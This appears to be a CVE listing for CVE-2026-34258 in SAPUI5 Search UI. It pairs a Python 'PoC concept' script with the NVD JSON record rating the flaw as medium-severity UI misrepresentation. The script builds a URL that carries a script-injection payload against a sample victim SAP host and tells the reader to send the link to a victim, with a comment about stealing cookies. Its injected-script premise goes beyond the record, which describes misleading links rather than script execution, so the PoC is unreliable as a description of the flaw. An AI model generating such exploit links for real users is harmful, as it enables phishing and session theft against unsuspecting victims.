CVE-2026-34258

# PoC Concept for CVE-2026-34258 # This script demonstrates how a malicious URL could be generated. import urllib.parse def generate_malicious_url(base_url, vulnerable_param, payload): """Generates a malicious URL exploiting the parameter manipulation.""" params = {vulnerable_param: payload} query_string = urllib.parse.urlencode(params) return f"{base_url}?{query_string}" if __name__ == "__main__": # Example target endpoint (hypothetical based on SAPUI5 Search UI behavior) target = "https://victim-sap-system.com/sap/bc/ui5_ui5/sap/zsearch_ui/index.html" # The vulnerable parameter might be related to search query or navigation # Payload attempts to inject a script to display an alert or steal cookies malicious_payload = ""><script>alert('CVE-2026-34258 Exploited')</script><!--" exploit_url = generate_malicious_url(target, "searchTerm", malicious_payload) print("[+] Potential Exploit URL Generated:") print(exploit_url) print("\n[!] Send this link to a victim. If they click and the page renders, the script executes.")

{"cve": {"id": "CVE-2026-34258", "sourceIdentifier": "[email protected]", "published": "2026-05-12T03:16:11.247", "lastModified": "2026-05-12T03:16:11.247", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAPUI5 (Search UI) allows an unauthenticated attacker to manipulate specific URL parameters on the Search UI to include malicious content. Successful exploitation may mislead victim users into clicking and accessing attacker-controlled pages rendered by the application. This vulnerability has a low impact on confidentiality with no effect on the integrity and availability of the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-451"}]}], "references": [{"url": "https://me.sap.com/notes/3726583", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}